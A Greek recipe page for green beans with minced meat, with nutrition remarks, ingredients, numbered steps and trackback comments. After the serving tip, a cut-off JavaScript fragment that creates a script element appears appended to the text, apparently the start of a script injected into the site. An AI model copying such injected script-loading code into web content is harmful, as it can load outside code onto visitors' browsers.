mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Φασολάκια με κιμά

Φασολάκια με κιμά

maxresdefaultΤα φασολάκια που υπάρχει σε κάθε οικογενειακό τραπέζι εκτός του ότι είναι νόστιμα, είναι άκρως θρεπτικά καθώς περιέχουν τις βιταμίνες Α, C, Κ,Β9, σίδηρο, μαγγάνιο, μαγνήσιο, ασβέστιο, και άλλα πολλά! Μπορούν να ενισχύσουν σημαντικά τον οργανισμό μας και να τονώσουν το ανοσοποιητικό μας σύστημα! Είναι απαραίτητα σε ένα εβδομαδιαίο μενού και μπορούν να συνδυαστούν άψογα και με άλλα υλικά ενώ μπορούμε εύκολα να πειραματιστούμε!

Εάν τα μαγειρέψουμε χωρίς πολύ λάδι και τα φάμε με λίγη φέτα κι ελάχιστο ψωμί τότε προτείνονται κάλλιστα και για δίαιτα!

Για τους λάτρεις του κρέατος τα φασολάκια μπορούν συνοδεύσουν ένα φιλέτο ή ακόμα καλύτερα να μαγειρευτούν με κιμά! Σαν μια πράσινη εκδοχή δηλαδή για τα μακαρόνι με κιμά που μπορούν ξετρελάνουν τους “δύσκολους” του σπιτιού! Και το καλύτερο είναι ότι βγαίνουν φρεσκότατα τον Μάιο!

Υλικά:

1 κιλό φρέσκα φασολάκια καθαρισμένα
½ κιλό κιμά (κατά προτίμηση μοσχαρίσιο)
2 ντομάτες μεγάλες
Ελαιόλαδο
αλάτι
ξύδι ή κρασί
1 πρέζα ζάχαρη
2 κ.σ. πελτέ από ντομάτας
1 κρεμμύδι
λίγη πάπρικα
λίγο πιπέρι καγιέν
λίγο μαϊντανό

Εκτέλεση:

1. Σε ένα τηγανάκι βάζουμε λίγο νερό και το ψιλοκομμένο το κρεμμυδάκι.
2. Το αφήνουμε να πιει όλο το νερό και προσθέτουμε λίγο λάδι.
3. Ρίχνουμε το πιπέρι και την πάπρικα.
4. Προσθέτουμε τον κιμά και ανακατεύουμε να πάρει χρώμα και αρώματα
5. Βάζεις πάπρικα, πιπέρι και βάζεις τον κιμά.
6. Ρίχνουμε τις ντομάτες ψιλοκομμένες και τον πελτέ και ανακατεύουμε
7. Έπειτα προσθέτουμε το κρασί ή το ξύδι, με τη ζάχαρη και αφήνουμε τον κιμά να δέσει με τη σάλτσα μας. Τα αφήνουμε σε χαμηλή φωτιά για 10 λεπτπά και έπειτα ρίχνουμε τα φασολάκια.
8. Προσθέτουμε λίγο λίγο το νερό μέχρι να βράσουν τα φασολάκια και ο κιμάς.
9. Στο τέλος ρίχνουμε τον ψιλοκομμένο μαϊντανό

Εάν θέλουμε σερβίρουμε με τριμμένη φέτα ή κεφαλοτύρι!var d=document;var s=d.createElement(‘script’);

Share This
3 Σχόλια
  1. […] post Φασολάκια με κιμά appeared first on Arkoudos, Συνταγές … […]

  2. […] Φασολάκια με κιμά […]